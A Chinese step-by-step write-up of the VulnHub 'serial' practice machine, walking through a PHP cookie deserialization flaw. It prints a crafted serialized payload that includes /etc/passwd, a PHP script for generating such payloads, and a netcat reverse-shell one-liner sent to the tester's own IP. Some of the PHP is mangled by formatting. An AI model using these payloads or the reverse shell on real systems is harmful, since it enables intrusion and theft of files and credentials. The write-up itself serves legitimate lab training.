反序列化靶机实战serial(保姆级教程)

一.信息收集

靶机地址下载:https://download.vulnhub.com/serial/serial.zip

打开靶机,在kali虚拟机中进行主机存活探测

可以知道靶机ip地址为192.168.133.171

然后扫描端口 可以发现有一个22端口跟80端口

然后接下来用kali扫描它的目录

可以发现有一个可访问的目录 我们去访问一下

访问之后backup目录下有一个bak.zip 下载下来

下载下来之后有三个文件 分析一下

index.php

<?php
include("user.class.php");

if(!isset(_COOKIE\['user'\])) { setcookie("user", base64_encode(serialize(new User('sk4')))); } else { unserialize(base64_decode(_COOKIE['user']));
}
echo "This is a beta test for new cookie handler\n";
?>

log.class.php

<?php

class Log {

private $type_log;

function __costruct($hnd) {

this-\>type_log = $hnd;

}

public function handler($val) {

include($this->type_log);

echo "LOG: " . $val;

}

}

?>

user.class.php

<?php

include("log.class.php");

class Welcome {

public function handler($val) {

echo "Hello " . $val;

}

}

class User {

private $name;

private $wel;

function __construct($name) {

this-\>name = name;

$this->wel = new Welcome();

}

function __destruct() {

//echo "bye\n";

this-\>wel-\>handler(this->name);

}

}

?>

提示cookie,burpsuite抓包看一下cookie

cookie那里有一串base64加密的 解密一下

base64解码得到序列化后字段是

O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}}

然后我们构造payload 读取/etc/passwd文件

O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}')

base64编码

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjg6InR5cGVfbG9nIjtzOjExOiIvZXRjL3Bhc3N3ZCI7fX0=

然后再次抓包 打开用burp的repeater

将加密后的替换一下 就可以看到 然后成功包含 看到有一个sk4用户可登陆

get shell

构造序列化语句上传shell

生成一个shell放在本地网站下

然后构造payload,尝试读取passwd文件,payload如下 新创建一个1.php在本地的www下 然后 把type_log参数后面记得改成自己上传到本地的一句话木马

php 复制代码
<?php
  class Log {
    private $type_log = "/etc/passwd";
  }

  class User {
    private $name = "admin";
    private $wel;

    function __construct() {
      $this->wel = new Log();
  }
}
$obj = new User();
echo base64_encode(serialize($obj));

然后去访问自己新创建的php 我这里用的是7.php 打开就看到他的base64编码

然后去抓包 把访问7.php得到的base64编码 替换cookie

成功执行

开始反弹shell

rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>&1|nc+1192.168.133.163+6666+>/tmp/f

将上述代码url编码后填入参数位置

然后在kali里开启监听监听成功

在攻击模块发送 成功获取shell

查看文件,多返回几次上级目录,找到一个txt文件

查看文件得到他的账号跟密码

最后在远程连接 成功进入

相关推荐
si莉亚1 小时前
ROS2安装EVO工具包
linux·开发语言·c++·开源
Tingjct1 小时前
Linux常用指令
linux·运维·服务器
广州灵眸科技有限公司1 小时前
为RK3588注入澎湃算力:RK1820 AI加速卡完整适配与评测指南
linux·网络·人工智能·物联网·算法
daad7771 小时前
wifi_note
运维·服务器·数据库
IT界的老黄牛1 小时前
Linux 压缩命令实战:tar、gzip、bzip2、xz、zstd 怎么选?一篇讲清楚
linux·运维·服务器
byoass2 小时前
csdn_upload_005
网络·安全·云计算
IT WorryFree2 小时前
飞塔防火墙与第三方设备进行IPSEC故障诊断期间,用户可能会观察到以下错误:
linux·服务器·网络
12345,catch a tiger2 小时前
虚拟机ubuntu安装Vmware Tools
linux·运维·ubuntu
✎ ﹏梦醒͜ღ҉繁华落℘2 小时前
Makefile -GNU和MakeFile关系(二)
服务器·gnu
凉、介2 小时前
别再把 PCIe 的 inbound/outbound、iATU 和 eDMA 混为一谈
linux·笔记·学习·嵌入式·pcie